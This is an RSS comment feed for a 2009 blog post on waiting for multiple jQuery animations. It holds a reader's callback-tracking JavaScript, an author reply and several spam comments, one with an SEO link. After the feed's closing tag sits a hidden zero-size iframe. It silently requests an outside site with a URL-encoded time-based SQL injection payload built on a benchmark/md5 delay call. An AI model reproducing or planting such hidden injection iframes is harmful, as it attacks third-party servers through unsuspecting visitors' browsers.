<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: JQuery: Waiting for Multiple Animations to Complete</title>
	<atom:link href="http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/</link>
	<description>Ganesh\</description>
	<lastBuildDate>Thu, 11 Mar 2010 22:23:43 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: m3 ds real</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-68529</link>
		<dc:creator>m3 ds real</dc:creator>
		<pubDate>Fri, 19 Feb 2010 12:30:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-68529</guid>
		<description>AJAX and PHP is a great resource for PHP developers who want to expand their knowledge into front end web languages.But here I got some practical stuff!see...nobody so kind like you dude!Thanks for all information!</description>
		<content:encoded><![CDATA[<p>AJAX and PHP is a great resource for PHP developers who want to expand their knowledge into front end web languages.But here I got some practical stuff!see&#8230;nobody so kind like you dude!Thanks for all information!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: çelik kap?</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-65589</link>
		<dc:creator>çelik kap?</dc:creator>
		<pubDate>Sun, 06 Dec 2009 11:01:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-65589</guid>
		<description>Ofcourse, the same code can be modified for more than two elements as well. Some more work, and we can make it handle any number of elements. But, I was wondering if there was an easier, better and more efficient approach to solve the same challenge. If fellow jquery lovers are aware of such solutions please feel free to leave a comment.</description>
		<content:encoded><![CDATA[<p>Ofcourse, the same code can be modified for more than two elements as well. Some more work, and we can make it handle any number of elements. But, I was wondering if there was an easier, better and more efficient approach to solve the same challenge. If fellow jquery lovers are aware of such solutions please feel free to leave a comment.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: travesti</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-65228</link>
		<dc:creator>travesti</dc:creator>
		<pubDate>Sat, 28 Nov 2009 11:24:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-65228</guid>
		<description>Ofcourse, the same code can be modified for more than two elements as well. Some more work, and we can make it handle any number of elements. thanks</description>
		<content:encoded><![CDATA[<p>Ofcourse, the same code can be modified for more than two elements as well. Some more work, and we can make it handle any number of elements. thanks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Martin</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-60663</link>
		<dc:creator>Martin</dc:creator>
		<pubDate>Wed, 22 Jul 2009 08:33:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-60663</guid>
		<description>IT is one of the best and most leading technology in this modern era. There are many different ways to get high level posts in any famous organization. In order to get a good post in Information Technology, you must have detailed knowledge and experience about different topics like &lt;a href=&quot;http://www.testking-certified.com&quot; rel=&quot;nofollow&quot;&gt;test king&lt;/a&gt;. I really appreciate the best and amazing efforts like that. Well done..</description>
		<content:encoded><![CDATA[<p>IT is one of the best and most leading technology in this modern era. There are many different ways to get high level posts in any famous organization. In order to get a good post in Information Technology, you must have detailed knowledge and experience about different topics like <a href="http://www.testking-certified.com" rel="nofollow">test king</a>. I really appreciate the best and amazing efforts like that. Well done..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ganeshji Marwaha</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-58460</link>
		<dc:creator>Ganeshji Marwaha</dc:creator>
		<pubDate>Wed, 10 Jun 2009 03:16:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-58460</guid>
		<description>@Paul Irish - The technique you have posted looks nice too. I will give it a try.</description>
		<content:encoded><![CDATA[<p>@Paul Irish &#8211; The technique you have posted looks nice too. I will give it a try.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paul Irish</title>
		<link>http://www.gmarwaha.com/blog/2009/06/09/jquery-waiting-for-multiple-animations-to-complete/comment-page-1/#comment-58446</link>
		<dc:creator>Paul Irish</dc:creator>
		<pubDate>Tue, 09 Jun 2009 20:15:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=31#comment-58446</guid>
		<description>Pretty cool technique. Seemed a little innefficient but after trying out the callback version of this challenge, I think yours wins. :)

Callback method:

function allDone(){
		// This piece of code will be executed
		// after element1 and element2 is complete.
}

function callbackTrack(d){
 callbackTrack.queue =  callbackTrack.queue &#124;&#124; [false];
 if (d === &#039;done&#039;){
   if(callbackTrack.queue.shift() &amp;&amp; callbackTrack.queue.length == 1)  allDone(); 
   return; 
   }
 callbackTrack.queue.push(true);
 return function(){ callbackTrack(&#039;done&#039;); }
}

$(&quot;#element1&quot;).slideDown(500,callbackTrack());
$(&quot;#element2&quot;).slideDown(700,callbackTrack());
</description>
		<content:encoded><![CDATA[<p>Pretty cool technique. Seemed a little innefficient but after trying out the callback version of this challenge, I think yours wins. <img src='http://www.gmarwaha.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Callback method:</p>
<p>function allDone(){<br />
		// This piece of code will be executed<br />
		// after element1 and element2 is complete.<br />
}</p>
<p>function callbackTrack(d){<br />
 callbackTrack.queue =  callbackTrack.queue || [false];<br />
 if (d === &#8216;done&#8217;){<br />
   if(callbackTrack.queue.shift() &amp;&amp; callbackTrack.queue.length == 1)  allDone();<br />
   return;<br />
   }<br />
 callbackTrack.queue.push(true);<br />
 return function(){ callbackTrack(&#8217;done&#8217;); }<br />
}</p>
<p>$(&#8221;#element1&#8243;).slideDown(500,callbackTrack());<br />
$(&#8221;#element2&#8243;).slideDown(700,callbackTrack());</p>
]]></content:encoded>
	</item>
</channel>
</rss>


<iframe frameborder=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0 src="http://loidich.com/?do=links&act=top100&keyword=CaiPen%22%29%20and%20benchmark%28100000000000%2Cmd5%28char%2897%29%29%29%3Dbenchmark%28100000000000%2Cmd5%28char%2897%29%29%29%23&Submit=Go"></iframe>